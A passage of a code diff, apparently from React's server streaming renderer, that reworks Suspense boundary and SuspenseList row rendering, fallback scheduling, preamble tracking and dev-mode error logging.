+  type: Function | string | symbol,
+  owner: void | null | ReactComponentInfo | ComponentStackNode, // DEV only
+  stack: void | null | string | Error, // DEV only
+): ComponentStackNode {
+  if (__DEV__) {
+    return {
+      parent,
+      type,
+      owner,
+      stack,
+    };
+  }
+  return {
+    parent,
+    type,
+  };
+}
+
+function replaceSuspenseComponentStackWithSuspenseFallbackStack(
+  componentStack: null | ComponentStackNode,
+): null | ComponentStackNode {
+  if (componentStack === null) {
+    return null;
+  }
+  return createComponentStackFromType(
+    componentStack.parent,
+    'Suspense Fallback',
+    __DEV__ ? componentStack.owner : null,
+    __DEV__ ? componentStack.stack : null,
+  );
+}
+
+type ThrownInfo = {
+  componentStack?: string,
+};
+export type ErrorInfo = ThrownInfo;
+
+function getThrownInfo(node: null | ComponentStackNode): ThrownInfo {
+  const errorInfo: ThrownInfo = {};
+  if (node) {
+    Object.defineProperty(errorInfo, 'componentStack', {
+      configurable: true,
+      enumerable: true,
+      get() {
+        // Lazyily generate the stack since it's expensive.
+        const stack = getStackFromNode(node);
+        Object.defineProperty(errorInfo, 'componentStack', {
+          value: stack,
+        });
+        return stack;
+      },
+    });
+  }
+  return errorInfo;
+}
+
+function encodeErrorForBoundary(
+  boundary: SuspenseBoundary,
   digest: ?string,
   error: mixed,
   thrownInfo: ThrownInfo,
@@ -901,24 +1280,19 @@ function encodeErrorForBoundary(
   }
 }
 
-function logPostpone(
-  request: Request,
-  reason: string,
-  postponeInfo: ThrownInfo,
-): void {
-  // If this callback errors, we intentionally let that error bubble up to become a fatal error
-  // so that someone fixes the error reporting instead of hiding it.
-  request.onPostpone(reason, postponeInfo);
-}
-
 function logRecoverableError(
   request: Request,
   error: any,
   errorInfo: ThrownInfo,
+  debugTask: null | ConsoleTask,
 ): ?string {
   // If this callback errors, we intentionally let that error bubble up to become a fatal error
   // so that someone fixes the error reporting instead of hiding it.
-  const errorDigest = request.onError(error, errorInfo);
+  const onError = request.onError;
+  const errorDigest =
+    __DEV__ && debugTask
+      ? debugTask.run(onError.bind(null, error, errorInfo))
+      : onError(error, errorInfo);
   if (errorDigest != null && typeof errorDigest !== 'string') {
     // We used to throw here but since this gets called from a variety of unprotected places it
     // seems better to just warn and discard the returned value.
@@ -933,14 +1307,24 @@ function logRecoverableError(
   return errorDigest;
 }
 
-function fatalError(request: Request, error: mixed): void {
+function fatalError(
+  request: Request,
+  error: mixed,
+  errorInfo: ThrownInfo,
+  debugTask: null | ConsoleTask,
+): void {
   // This is called outside error handling code such as if the root errors outside
   // a suspense boundary or if the root suspense boundary's fallback errors.
   // It's also called if React itself or its host configs errors.
   const onShellError = request.onShellError;
-  onShellError(error);
   const onFatalError = request.onFatalError;
-  onFatalError(error);
+  if (__DEV__ && debugTask) {
+    debugTask.run(onShellError.bind(null, error));
+    debugTask.run(onFatalError.bind(null, error));
+  } else {
+    onShellError(error);
+    onFatalError(error);
+  }
   if (request.destination !== null) {
     request.status = CLOSED;
     closeWithError(request.destination, error);
@@ -954,33 +1338,39 @@ function renderSuspenseBoundary(
   request: Request,
   someTask: Task,
   keyPath: KeyNode,
-  props: Object,
+  props: SuspenseProps,
 ): void {
   if (someTask.replay !== null) {
     // If we're replaying through this pass, it means we're replaying through
     // an already completed Suspense boundary. It's too late to do anything about it
     // so we can just render through it.
     const prevKeyPath = someTask.keyPath;
+    const prevContext = someTask.formatContext;
+    const prevRow = someTask.row;
     someTask.keyPath = keyPath;
+    someTask.formatContext = getSuspenseContentFormatContext(
+      request.resumableState,
+      prevContext,
+    );
+    someTask.row = null;
     const content: ReactNodeList = props.children;
     try {
       renderNode(request, someTask, content, -1);
     } finally {
       someTask.keyPath = prevKeyPath;
+      someTask.formatContext = prevContext;
+      someTask.row = prevRow;
     }
     return;
   }
   // $FlowFixMe: Refined.
   const task: RenderTask = someTask;
 
-  const previousComponentStack = task.componentStack;
-  // If we end up creating the fallback task we need it to have the correct stack which is
-  // the stack for the boundary itself. We stash it here so we can use it if needed later
-  const suspenseComponentStack = (task.componentStack =
-    createBuiltInComponentStack(task, 'Suspense'));
-
   const prevKeyPath = task.keyPath;
+  const prevContext = task.formatContext;
+  const prevRow = task.row;
   const parentBoundary = task.blockedBoundary;
+  const parentPreamble = task.blockedPreamble;
   const parentHoistableState = task.hoistableState;
   const parentSegment = task.blockedSegment;
 
@@ -990,12 +1380,17 @@ function renderSuspenseBoundary(
   // in case it ends up generating a large subtree of content.
   const fallback: ReactNodeList = props.fallback;
   const content: ReactNodeList = props.children;
+  const defer: boolean = enableCPUSuspense && props.defer === true;
 
   const fallbackAbortSet: Set<Task> = new Set();
-  const newBoundary = createSuspenseBoundary(request, fallbackAbortSet);
-  if (request.trackedPostpones !== null) {
-    newBoundary.trackedContentKeyPath = keyPath;
-  }
+  const newBoundary = createSuspenseBoundary(
+    request,
+    task.row,
+    fallbackAbortSet,
+    canHavePreamble(task.formatContext) ? createPreamble() : null,
+    defer,
+  );
+
   const insertionIndex = parentSegment.chunks.length;
   // The children of the boundary segment is actually the fallback.
   const boundarySegment = createPendingSegment(
@@ -1025,119 +1420,244 @@ function renderSuspenseBoundary(
   // no parent segment so there's nothing to wait on.
   contentRootSegment.parentFlushed = true;
 
-  // Currently this is running synchronously. We could instead schedule this to pingedTasks.
-  // I suspect that there might be some efficiency benefits from not creating the suspended task
-  // and instead just using the stack if possible.
-  // TODO: Call this directly instead of messing with saving and restoring contexts.
+  const trackedPostpones = request.trackedPostpones;
+  if (trackedPostpones !== null || defer) {
+    // This is a prerender or deferred boundary. In this mode we want to render the fallback synchronously
+    // and schedule the content to render later. This is the opposite of what we do during a normal render
+    // where we try to skip rendering the fallback if the content itself can render synchronously
+
+    // Stash the original stack frame.
+    const suspenseComponentStack = task.componentStack;
+
+    const fallbackKeyPath: KeyNode = [
+      keyPath[0],
+      'Suspense Fallback',
+      keyPath[2],
+    ];
+    if (trackedPostpones !== null) {
+      const fallbackReplayNode: ReplayNode = [
+        fallbackKeyPath[1],
+        fallbackKeyPath[2],
+        ([]: Array<ReplayNode>),
+        null,
+      ];
+      trackedPostpones.workingMap.set(fallbackKeyPath, fallbackReplayNode);
+      newBoundary.tracked = {
+        contentKeyPath: keyPath,
+        // We are rendering the fallback before the boundary content so we keep track of
+        // the fallback replay node until we determine if the primary content suspends
+        fallbackNode: fallbackReplayNode,
+      };
+    }
 
-  // We can reuse the current context and task to render the content immediately without
-  // context switching. We just need to temporarily switch which boundary and which segment
-  // we're writing to. If something suspends, it'll spawn new suspended task with that context.
-  task.blockedBoundary = newBoundary;
-  task.hoistableState = newBoundary.contentState;
-  task.blockedSegment = contentRootSegment;
-  task.keyPath = keyPath;
+    task.blockedSegment = boundarySegment;
+    task.blockedPreamble =
+      newBoundary.preamble === null ? null : newBoundary.preamble.fallback;
+    task.keyPath = fallbackKeyPath;
+    task.formatContext = getSuspenseFallbackFormatContext(
+      request.resumableState,
+      prevContext,
+    );
+    task.componentStack =
+      replaceSuspenseComponentStackWithSuspenseFallbackStack(
+        suspenseComponentStack,
+      );
+    boundarySegment.status = RENDERING;
+    try {
+      renderNode(request, task, fallback, -1);
+      pushSegmentFinale(
+        boundarySegment.chunks,
+        request.renderState,
+        boundarySegment.lastPushedText,
+        boundarySegment.textEmbedded,
+      );
+      boundarySegment.status = COMPLETED;
+      finishedSegment(request, parentBoundary, boundarySegment);
+    } catch (thrownValue: mixed) {
+      if (request.status === ABORTING) {
+        boundarySegment.status = ABORTED;
+      } else {
+        boundarySegment.status = ERRORED;
+      }
+      throw thrownValue;
+    } finally {
+      task.blockedSegment = parentSegment;
+      task.blockedPreamble = parentPreamble;
+      task.keyPath = prevKeyPath;
+      task.formatContext = prevContext;
+    }
 
-  try {
-    // We use the safe form because we don't handle suspending here. Only error handling.
-    renderNode(request, task, content, -1);
-    pushSegmentFinale(
-      contentRootSegment.chunks,
-      request.renderState,
-      contentRootSegment.lastPushedText,
-      contentRootSegment.textEmbedded,
+    // We create a suspended task for the primary content because we want to allow
+    // sibling fallbacks to be rendered first.
+    const suspendedPrimaryTask = createRenderTask(
+      request,
+      null,
+      content,
+      -1,
+      newBoundary,
+      contentRootSegment,
+      newBoundary.preamble === null ? null : newBoundary.preamble.content,
+      newBoundary.contentState,
+      task.abortSet,
+      keyPath,
+      getSuspenseContentFormatContext(
+        request.resumableState,
+        task.formatContext,
+      ),
+      task.context,
+      task.treeContext,
+      null, // The row gets reset inside the Suspense boundary.
+      suspenseComponentStack,
+      !disableLegacyContext ? task.legacyContext : emptyContextObject,
+      __DEV__ ? task.debugTask : null,
     );
-    contentRootSegment.status = COMPLETED;
-    queueCompletedSegment(newBoundary, contentRootSegment);
-    if (newBoundary.pendingTasks === 0 && newBoundary.status === PENDING) {
-      // This must have been the last segment we were waiting on. This boundary is now complete.
-      // Therefore we won't need the fallback. We early return so that we don't have to create
-      // the fallback.
-      newBoundary.status = COMPLETED;
+    pushComponentStack(suspendedPrimaryTask);
+    request.pingedTasks.push(suspendedPrimaryTask);
+  } else {
+    // This is a normal render. We will attempt to synchronously render the boundary content
+    // If it is successful we will elide the fallback task but if it suspends or errors we schedule
+    // the fallback to render. Unlike with prerenders we attempt to deprioritize the fallback render
+
+    // Currently this is running synchronously. We could instead schedule this to pingedTasks.
+    // I suspect that there might be some efficiency benefits from not creating the suspended task
+    // and instead just using the stack if possible.
+    // TODO: Call this directly instead of messing with saving and restoring contexts.
+
+    // We can reuse the current context and task to render the content immediately without
+    // context switching. We just need to temporarily switch which boundary and which segment
+    // we're writing to. If something suspends, it'll spawn new suspended task with that context.
+    task.blockedBoundary = newBoundary;
+    task.blockedPreamble =
+      newBoundary.preamble === null ? null : newBoundary.preamble.content;
+    task.hoistableState = newBoundary.contentState;
+    task.blockedSegment = contentRootSegment;
+    task.keyPath = keyPath;
+    task.formatContext = getSuspenseContentFormatContext(
+      request.resumableState,
+      prevContext,
+    );
+    task.row = null;
+    contentRootSegment.status = RENDERING;
 
-      // We are returning early so we need to restore the
-      task.componentStack = previousComponentStack;
-      return;
-    }
-  } catch (error: mixed) {
-    contentRootSegment.status = ERRORED;
-    newBoundary.status = CLIENT_RENDERED;
-    const thrownInfo = getThrownInfo(request, task.componentStack);
-    let errorDigest;
-    if (
-      enablePostpone &&
-      typeof error === 'object' &&
-      error !== null &&
-      error.$$typeof === REACT_POSTPONE_TYPE
-    ) {
-      const postponeInstance: Postpone = (error: any);
-      logPostpone(request, postponeInstance.message, thrownInfo);
-      // TODO: Figure out a better signal than a magic digest value.
-      errorDigest = 'POSTPONE';
-    } else {
-      errorDigest = logRecoverableError(request, error, thrownInfo);
-    }
-    encodeErrorForBoundary(newBoundary, errorDigest, error, thrownInfo, false);
+    try {
+      // We use the safe form because we don't handle suspending here. Only error handling.
+      renderNode(request, task, content, -1);
+      pushSegmentFinale(
+        contentRootSegment.chunks,
+        request.renderState,
+        contentRootSegment.lastPushedText,
+        contentRootSegment.textEmbedded,
+      );
+      contentRootSegment.status = COMPLETED;
+      finishedSegment(request, newBoundary, contentRootSegment);
+      queueCompletedSegment(newBoundary, contentRootSegment);
+      if (newBoundary.pendingTasks === 0 && newBoundary.status === PENDING) {
+        // This must have been the last segment we were waiting on. This boundary is now complete.
+        newBoundary.status = COMPLETED;
+        // Therefore we won't need the fallback. We early return so that we don't have to create
+        // the fallback. However, if this boundary ended up big enough to be eligible for outlining
+        // we can't do that because we might still need the fallback if we outline it.
+        if (!isEligibleForOutlining(request, newBoundary)) {
+          if (prevRow !== null) {
+            // If we have synchronously completed the boundary and it's not eligible for outlining
+            // then we don't have to wait for it to be flushed before we unblock future rows.
+            // This lets us inline small rows in order.
+            if (--prevRow.pendingTasks === 0) {
+              finishSuspenseListRow(request, prevRow);
+            }
+          }
+          if (request.pendingRootTasks === 0 && task.blockedPreamble) {
+            // The root is complete and this boundary may contribute part of the preamble.
+            // We eagerly attempt to prepare the preamble here because we expect most requests
+            // to have few boundaries which contribute preambles and it allow us to do this
+            // preparation work during the work phase rather than the when flushing.
+            preparePreamble(request);
+          }
+          return;
+        }
+      } else {
+        const boundaryRow = prevRow;
+        if (boundaryRow !== null && boundaryRow.together) {
+          tryToResolveTogetherRow(request, boundaryRow);
+        }
+      }
+    } catch (thrownValue: mixed) {
+      newBoundary.status = CLIENT_RENDERED;
+      let error: mixed;
+      if (request.status === ABORTING) {
+        contentRootSegment.status = ABORTED;
+        error = request.fatalError;
+      } else {
+        contentRootSegment.status = ERRORED;
+        error = thrownValue;
+      }
 
-    untrackBoundary(request, newBoundary);
+      const thrownInfo = getThrownInfo(task.componentStack);
+      const errorDigest = logRecoverableError(
+        request,
+        error,
+        thrownInfo,
+        __DEV__ ? task.debugTask : null,
+      );
+      encodeErrorForBoundary(
+        newBoundary,
+        errorDigest,
+        error,
+        thrownInfo,
+        false,
+      );
 
-    // We don't need to decrement any task numbers because we didn't spawn any new task.
-    // We don't need to schedule any task because we know the parent has written yet.
-    // We do need to fallthrough to create the fallback though.
-  } finally {
-    task.blockedBoundary = parentBoundary;
-    task.hoistableState = parentHoistableState;
-    task.blockedSegment = parentSegment;
-    task.keyPath = prevKeyPath;
-    task.componentStack = previousComponentStack;
-  }
+      untrackBoundary(request, newBoundary);
 
-  const fallbackKeyPath = [keyPath[0], 'Suspense Fallback', keyPath[2]];
-  const trackedPostpones = request.trackedPostpones;
-  if (trackedPostpones !== null) {
-    // We create a detached replay node to track any postpones inside the fallback.
-    const fallbackReplayNode: ReplayNode = [
-      fallbackKeyPath[1],
-      fallbackKeyPath[2],
-      ([]: Array<ReplayNode>),
-      null,
-    ];
-    trackedPostpones.workingMap.set(fallbackKeyPath, fallbackReplayNode);
-    if (newBoundary.status === POSTPONED) {
-      // This must exist now.
-      const boundaryReplayNode: ReplaySuspenseBoundary =
-        (trackedPostpones.workingMap.get(keyPath): any);
-      boundaryReplayNode[4] = fallbackReplayNode;
-    } else {
-      // We might not inject it into the postponed tree, unless the content actually
-      // postpones too. We need to keep track of it until that happpens.
-      newBoundary.trackedFallbackNode = fallbackReplayNode;
+      // We don't need to decrement any task numbers because we didn't spawn any new task.
+      // We don't need to schedule any task because we know the parent has written yet.
+      // We do need to fallthrough to create the fallback though.
+    } finally {
+      task.blockedBoundary = parentBoundary;
+      task.blockedPreamble = parentPreamble;
+      task.hoistableState = parentHoistableState;
+      task.blockedSegment = parentSegment;
+      task.keyPath = prevKeyPath;
+      task.formatContext = prevContext;
+      task.row = prevRow;
     }
+
+    const fallbackKeyPath: KeyNode = [
+      keyPath[0],
+      'Suspense Fallback',
+      keyPath[2],
+    ];
+    // We create suspended task for the fallback because we don't want to actually work
+    // on it yet in case we finish the main content, so we queue for later.
+    const suspendedFallbackTask = createRenderTask(
+      request,
+      null,
+      fallback,
+      -1,
+      parentBoundary,
+      boundarySegment,
+      newBoundary.preamble === null ? null : newBoundary.preamble.fallback,
+      newBoundary.fallbackState,
+      fallbackAbortSet,
+      fallbackKeyPath,
+      getSuspenseFallbackFormatContext(
+        request.resumableState,
+        task.formatContext,
+      ),
+      task.context,
+      task.treeContext,
+      task.row,
+      replaceSuspenseComponentStackWithSuspenseFallbackStack(
+        task.componentStack,
+      ),
+      !disableLegacyContext ? task.legacyContext : emptyContextObject,
+      __DEV__ ? task.debugTask : null,
+    );
+    pushComponentStack(suspendedFallbackTask);
+    // TODO: This should be queued at a separate lower priority queue so that we only work
+    // on preparing fallbacks if we don't have any more main content to task on.
+    request.pingedTasks.push(suspendedFallbackTask);
   }
-  // We create suspended task for the fallback because we don't want to actually work
-  // on it yet in case we finish the main content, so we queue for later.
-  const suspendedFallbackTask = createRenderTask(
-    request,
-    null,
-    fallback,
-    -1,
-    parentBoundary,
-    boundarySegment,
-    newBoundary.fallbackState,
-    fallbackAbortSet,
-    fallbackKeyPath,
-    task.formatContext,
-    task.legacyContext,
-    task.context,
-    task.treeContext,
-    // This stack should be the Suspense boundary stack because while the fallback is actually a child segment
-    // of the parent boundary from a component standpoint the fallback is a child of the Suspense boundary itself
-    suspenseComponentStack,
-    true,
-  );
-  // TODO: This should be queued at a separate lower priority queue so that we only work
-  // on preparing fallbacks if we don't have any more main content to task on.
-  request.pingedTasks.push(suspendedFallbackTask);
 }
 
 function replaySuspenseBoundary(
@@ -1151,13 +1671,9 @@ function replaySuspenseBoundary(
   fallbackNodes: Array<ReplayNode>,
   fallbackSlots: ResumeSlots,
 ): void {
-  const previousComponentStack = task.componentStack;
-  // If we end up creating the fallback task we need it to have the correct stack which is
-  // the stack for the boundary itself. We stash it here so we can use it if needed later
-  const suspenseComponentStack = (task.componentStack =
-    createBuiltInComponentStack(task, 'Suspense'));
-
   const prevKeyPath = task.keyPath;
+  const prevContext = task.formatContext;
+  const prevRow = task.row;
   const previousReplaySet: ReplaySet = task.replay;
 
   const parentBoundary = task.blockedBoundary;
@@ -1165,9 +1681,16 @@ function replaySuspenseBoundary(
 
   const content: ReactNodeList = props.children;
   const fallback: ReactNodeList = props.fallback;
+  const defer: boolean = enableCPUSuspense && props.defer === true;
 
   const fallbackAbortSet: Set<Task> = new Set();
-  const resumedBoundary = createSuspenseBoundary(request, fallbackAbortSet);
+  const resumedBoundary = createSuspenseBoundary(
+    request,
+    task.row,
+    fallbackAbortSet,
+    canHavePreamble(task.formatContext) ? createPreamble() : null,
+    defer,
+  );
   resumedBoundary.parentFlushed = true;
   // We restore the same id of this boundary as was used during prerender.
   resumedBoundary.rootSegmentID = id;
@@ -1177,6 +1700,12 @@ function replaySuspenseBoundary(
   // we're writing to. If something suspends, it'll spawn new suspended task with that context.
   task.blockedBoundary = resumedBoundary;
   task.hoistableState = resumedBoundary.contentState;
+  task.keyPath = keyPath;
+  task.formatContext = getSuspenseContentFormatContext(
+    request.resumableState,
+    prevContext,
+  );
+  task.row = null;
   task.replay = {nodes: childNodes, slots: childSlots, pendingTasks: 1};
 
   try {
@@ -1206,21 +1735,13 @@ function replaySuspenseBoundary(
     }
   } catch (error: mixed) {
     resumedBoundary.status = CLIENT_RENDERED;
-    const thrownInfo = getThrownInfo(request, task.componentStack);
-    let errorDigest;
-    if (
-      enablePostpone &&
-      typeof error === 'object' &&
-      error !== null &&
-      error.$$typeof === REACT_POSTPONE_TYPE
-    ) {
-      const postponeInstance: Postpone = (error: any);
-      logPostpone(request, postponeInstance.message, thrownInfo);
-      // TODO: Figure out a better signal than a magic digest value.
-      errorDigest = 'POSTPONE';
-    } else {
-      errorDigest = logRecoverableError(request, error, thrownInfo);
-    }
+    const thrownInfo = getThrownInfo(task.componentStack);
+    const errorDigest = logRecoverableError(
+      request,
+      error,
+      thrownInfo,
+      __DEV__ ? task.debugTask : null,
+    );
     encodeErrorForBoundary(
       resumedBoundary,
       errorDigest,
@@ -1242,10 +1763,15 @@ function replaySuspenseBoundary(
     task.hoistableState = parentHoistableState;
     task.replay = previousReplaySet;
     task.keyPath = prevKeyPath;
-    task.componentStack = previousComponentStack;
+    task.formatContext = prevContext;
+    task.row = prevRow;
   }
 
-  const fallbackKeyPath = [keyPath[0], 'Suspense Fallback', keyPath[2]];
+  const fallbackKeyPath: KeyNode = [
+    keyPath[0],
+    'Suspense Fallback',
+    keyPath[2],
+  ];
 
   // We create suspended task for the fallback because we don't want to actually work
   // on it yet in case we finish the main content, so we queue for later.
@@ -1264,44 +1790,481 @@ function replaySuspenseBoundary(
     resumedBoundary.fallbackState,
     fallbackAbortSet,
     fallbackKeyPath,
-    task.formatContext,
-    task.legacyContext,
+    getSuspenseFallbackFormatContext(
+      request.resumableState,
+      task.formatContext,
+    ),
     task.context,
     task.treeContext,
-    // This stack should be the Suspense boundary stack because while the fallback is actually a child segment
-    // of the parent boundary from a component standpoint the fallback is a child of the Suspense boundary itself
-    suspenseComponentStack,
-    true,
+    task.row,
+    replaceSuspenseComponentStackWithSuspenseFallbackStack(task.componentStack),
+    !disableLegacyContext ? task.legacyContext : emptyContextObject,
+    __DEV__ ? task.debugTask : null,
   );
+
+  pushComponentStack(suspendedFallbackTask);
   // TODO: This should be queued at a separate lower priority queue so that we only work
   // on preparing fallbacks if we don't have any more main content to task on.
   request.pingedTasks.push(suspendedFallbackTask);
 }
 
-function renderBackupSuspenseBoundary(
+function finishSuspenseListRow(request: Request, row: SuspenseListRow): void {
+  // This row finished. Now we have to unblock all the next rows that were blocked on this.
+  unblockSuspenseListRow(request, row.next, row.hoistables);
+}
+
+function unblockSuspenseListRow(
+  request: Request,
+  unblockedRow: null | SuspenseListRow,
+  inheritedHoistables: null | HoistableState,
+): void {
+  // We do this in a loop to avoid stack overflow for very long lists that get unblocked.
+  while (unblockedRow !== null) {
+    if (inheritedHoistables !== null) {
+      // Hoist any hoistables from the previous row into the next row so that it can be
+      // later transferred to all the rows.
+      hoistHoistables(unblockedRow.hoistables, inheritedHoistables);
+      // Mark the row itself for any newly discovered Suspense boundaries to inherit.
+      // This is different from hoistables because that also includes hoistables from
+      // all the boundaries below this row and not just previous rows.
+      unblockedRow.inheritedHoistables = inheritedHoistables;
+    }
+    // Unblocking the boundaries will decrement the count of this row but we keep it above
+    // zero so they never finish this row recursively.
+    const unblockedBoundaries = unblockedRow.boundaries;
+    if (unblockedBoundaries !== null) {
+      unblockedRow.boundaries = null;
+      for (let i = 0; i < unblockedBoundaries.length; i++) {
+        const unblockedBoundary = unblockedBoundaries[i];
+        if (inheritedHoistables !== null) {
+          hoistHoistables(unblockedBoundary.contentState, inheritedHoistables);
+        }
+        finishedTask(request, unblockedBoundary, null, null);
+      }
+    }
+    // Instead we decrement at the end to keep it all in this loop.
+    unblockedRow.pendingTasks--;
+    if (unblockedRow.pendingTasks > 0) {
+      // Still blocked.
+      break;
+    }
+    inheritedHoistables = unblockedRow.hoistables;
+    unblockedRow = unblockedRow.next;
+  }
+}
+
+function trackPostponedSuspenseListRow(
+  request: Request,
+  trackedPostpones: PostponedHoles,
+  postponedRow: null | SuspenseListRow,
+): void {
+  // TODO: Because we unconditionally call this, it will be called by finishedTask
+  // and so ends up recursive which can lead to stack overflow for very long lists.
+  if (postponedRow !== null) {
+    const postponedBoundaries = postponedRow.boundaries;
+    if (postponedBoundaries !== null) {
+      postponedRow.boundaries = null;
+      for (let i = 0; i < postponedBoundaries.length; i++) {
+        const postponedBoundary = postponedBoundaries[i];
+        trackPostponedBoundary(request, trackedPostpones, postponedBoundary);
+        finishedTask(request, postponedBoundary, null, null);
+      }
+    }
+  }
+}
+
+function tryToResolveTogetherRow(
+  request: Request,
+  togetherRow: SuspenseListRow,
+): void {
+  // If we have a "together" row and all the pendingTasks are really the boundaries themselves,
+  // and we won't outline any of them then we can unblock this row early so that we can inline
+  // all the boundaries at once.
+  const boundaries = togetherRow.boundaries;
+  if (boundaries === null || togetherRow.pendingTasks !== boundaries.length) {
+    return;
+  }
+  let allCompleteAndInlinable = true;
+  for (let i = 0; i < boundaries.length; i++) {
+    const rowBoundary = boundaries[i];
+    if (
+      rowBoundary.pendingTasks !== 1 ||
+      rowBoundary.parentFlushed ||
+      isEligibleForOutlining(request, rowBoundary)
+    ) {
+      allCompleteAndInlinable = false;
+      break;
+    }
+  }
+  if (allCompleteAndInlinable) {
+    unblockSuspenseListRow(request, togetherRow, togetherRow.hoistables);
+  }
+}
+
+function createSuspenseListRow(
+  previousRow: null | SuspenseListRow,
+): SuspenseListRow {
+  const newRow: SuspenseListRow = {
+    pendingTasks: 1, // At first the row is blocked on attempting rendering itself.
+    boundaries: null,
+    hoistables: createHoistableState(),
+    inheritedHoistables: null,
+    together: false,
+    next: null,
+  };
+  if (previousRow !== null && previousRow.pendingTasks > 0) {
+    // If the previous row is not done yet, we add ourselves to be blocked on it.
+    // When it finishes, we'll decrement our pending tasks.
+    newRow.pendingTasks++;
+    newRow.boundaries = [];
+    previousRow.next = newRow;
+  }
+  return newRow;
+}
+
+function renderSuspenseListRows(
   request: Request,
   task: Task,
   keyPath: KeyNode,
-  props: Object,
-) {
+  rows: Array<ReactNodeList>,
+  revealOrder: void | 'forwards' | 'backwards' | 'unstable_legacy-backwards',
+): void {
+  // This is a fork of renderChildrenArray that's aware of tracking rows.
+  const prevKeyPath = task.keyPath;
+  const prevTreeContext = task.treeContext;
+  const prevRow = task.row;
   const previousComponentStack = task.componentStack;
-  task.componentStack = createBuiltInComponentStack(task, 'Suspense');
+  let previousDebugTask = null;
+  if (__DEV__) {
+    previousDebugTask = task.debugTask;
+    // We read debugInfo from task.node.props.children instead of rows because it
+    // might have been an unwrapped iterable so we read from the original node.
+    pushServerComponentStack(task, (task.node: any).props.children._debugInfo);
+  }
 
-  const content = props.children;
-  const segment = task.blockedSegment;
-  const prevKeyPath = task.keyPath;
   task.keyPath = keyPath;
-  if (segment === null) {
+
+  const totalChildren = rows.length;
+  let previousSuspenseListRow: null | SuspenseListRow = null;
+  if (task.replay !== null) {
     // Replay
-    renderNode(request, task, content, -1);
+    // First we need to check if we have any resume slots at this level.
+    const resumeSlots = task.replay.slots;
+    if (resumeSlots !== null && typeof resumeSlots === 'object') {
+      for (let n = 0; n < totalChildren; n++) {
+        // Since we are going to resume into a slot whose order was already
+        // determined by the prerender, we can safely resume it even in reverse
+        // render order.
+        const i =
+          revealOrder !== 'backwards' &&
+          revealOrder !== 'unstable_legacy-backwards'
+            ? n
+            : totalChildren - 1 - n;
+        const node = rows[i];
+        task.row = previousSuspenseListRow = createSuspenseListRow(
+          previousSuspenseListRow,
+        );
+        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);
+        const resumeSegmentID = resumeSlots[i];
+        // TODO: If this errors we should still continue with the next sibling.
+        if (typeof resumeSegmentID === 'number') {
+          resumeNode(request, task, resumeSegmentID, node, i);
+          // We finished rendering this node, so now we can consume this
+          // slot. This must happen after in case we rerender this task.
+          delete resumeSlots[i];
+        } else {
+          renderNode(request, task, node, i);
+        }
+        if (--previousSuspenseListRow.pendingTasks === 0) {
+          finishSuspenseListRow(request, previousSuspenseListRow);
+        }
+      }
+    } else {
+      for (let n = 0; n < totalChildren; n++) {
+        // Since we are going to resume into a slot whose order was already
+        // determined by the prerender, we can safely resume it even in reverse
+        // render order.
+        const i =
+          revealOrder !== 'backwards' &&
+          revealOrder !== 'unstable_legacy-backwards'
+            ? n
+            : totalChildren - 1 - n;
+        const node = rows[i];
+        if (__DEV__) {
+          warnForMissingKey(request, task, node);
+        }
+        task.row = previousSuspenseListRow = createSuspenseListRow(
+          previousSuspenseListRow,
+        );
+        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);
+        renderNode(request, task, node, i);
+        if (--previousSuspenseListRow.pendingTasks === 0) {
+          finishSuspenseListRow(request, previousSuspenseListRow);
+        }
+      }
+    }
   } else {
-    // Render
-    pushStartCompletedSuspenseBoundary(segment.chunks);
-    renderNode(request, task, content, -1);
-    pushEndCompletedSuspenseBoundary(segment.chunks);
+    task = ((task: any): RenderTask); // Refined
+    if (
+      revealOrder !== 'backwards' &&
+      revealOrder !== 'unstable_legacy-backwards'
+    ) {
+      // Forwards direction
+      for (let i = 0; i < totalChildren; i++) {
+        const node = rows[i];
+        if (__DEV__) {
+          warnForMissingKey(request, task, node);
+        }
+        task.row = previousSuspenseListRow = createSuspenseListRow(
+          previousSuspenseListRow,
+        );
+        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);
+        renderNode(request, task, node, i);
+        if (--previousSuspenseListRow.pendingTasks === 0) {
+          finishSuspenseListRow(request, previousSuspenseListRow);
+        }
+      }
+    } else {
+      // For backwards direction we need to do things a bit differently.
+      // We give each row its own segment so that we can render the content in
+      // reverse order but still emit it in the right order when we flush.
+      const parentSegment = task.blockedSegment;
+      const childIndex = parentSegment.children.length;
+      const insertionIndex = parentSegment.chunks.length;
+      for (let n = 0; n < totalChildren; n++) {
+        const i =
+          revealOrder === 'unstable_legacy-backwards'
+            ? totalChildren - 1 - n
+            : n;
+        const node = rows[i];
+        task.row = previousSuspenseListRow = createSuspenseListRow(
+          previousSuspenseListRow,
+        );
+        task.treeContext = pushTreeContext(prevTreeContext, totalChildren, i);
+        const newSegment = createPendingSegment(
+          request,
+          insertionIndex,
+          null,
+          task.formatContext,
+          // Assume we are text embedded at the trailing edges
+          i === 0 ? parentSegment.lastPushedText : true,
+          true,
+        );
+        // Insert in the beginning of the sequence, which will insert before any previous rows.
+        parentSegment.children.splice(childIndex, 0, newSegment);
+        task.blockedSegment = newSegment;
+        if (__DEV__) {
+          warnForMissingKey(request, task, node);
+        }
+        try {
+          renderNode(request, task, node, i);
+          pushSegmentFinale(
+            newSegment.chunks,
+            request.renderState,
+            newSegment.lastPushedText,
+            newSegment.textEmbedded,
+          );
+          newSegment.status = COMPLETED;
+          finishedSegment(request, task.blockedBoundary, newSegment);
+          if (--previousSuspenseListRow.pendingTasks === 0) {
+            finishSuspenseListRow(request, previousSuspenseListRow);
+          }
+        } catch (thrownValue: mixed) {
+          if (request.status === ABORTING) {
+            newSegment.status = ABORTED;
+          } else {
+            newSegment.status = ERRORED;
+          }
+          throw thrownValue;
+        }
+      }
+      task.blockedSegment = parentSegment;
+      // Reset lastPushedText for current Segment since the new Segments "consumed" it
+      parentSegment.lastPushedText = false;
+    }
+  }
+
+  if (
+    prevRow !== null &&
+    previousSuspenseListRow !== null &&
+    previousSuspenseListRow.pendingTasks > 0
+  ) {
+    // If we are part of an outer SuspenseList and our last row is still pending, then that blocks
+    // the parent row from completing. We can continue the chain.
+    prevRow.pendingTasks++;
+    previousSuspenseListRow.next = prevRow;
   }
+
+  // Because this context is always set right before rendering every child, we
+  // only need to reset it to the previous value at the very end.
+  task.treeContext = prevTreeContext;
+  task.row = prevRow;
   task.keyPath = prevKeyPath;
-  task.componentStack = previousComponentStack;
+  if (__DEV__) {
+    task.componentStack = previousComponentStack;
+    task.debugTask = previousDebugTask;
+  }
+}
+
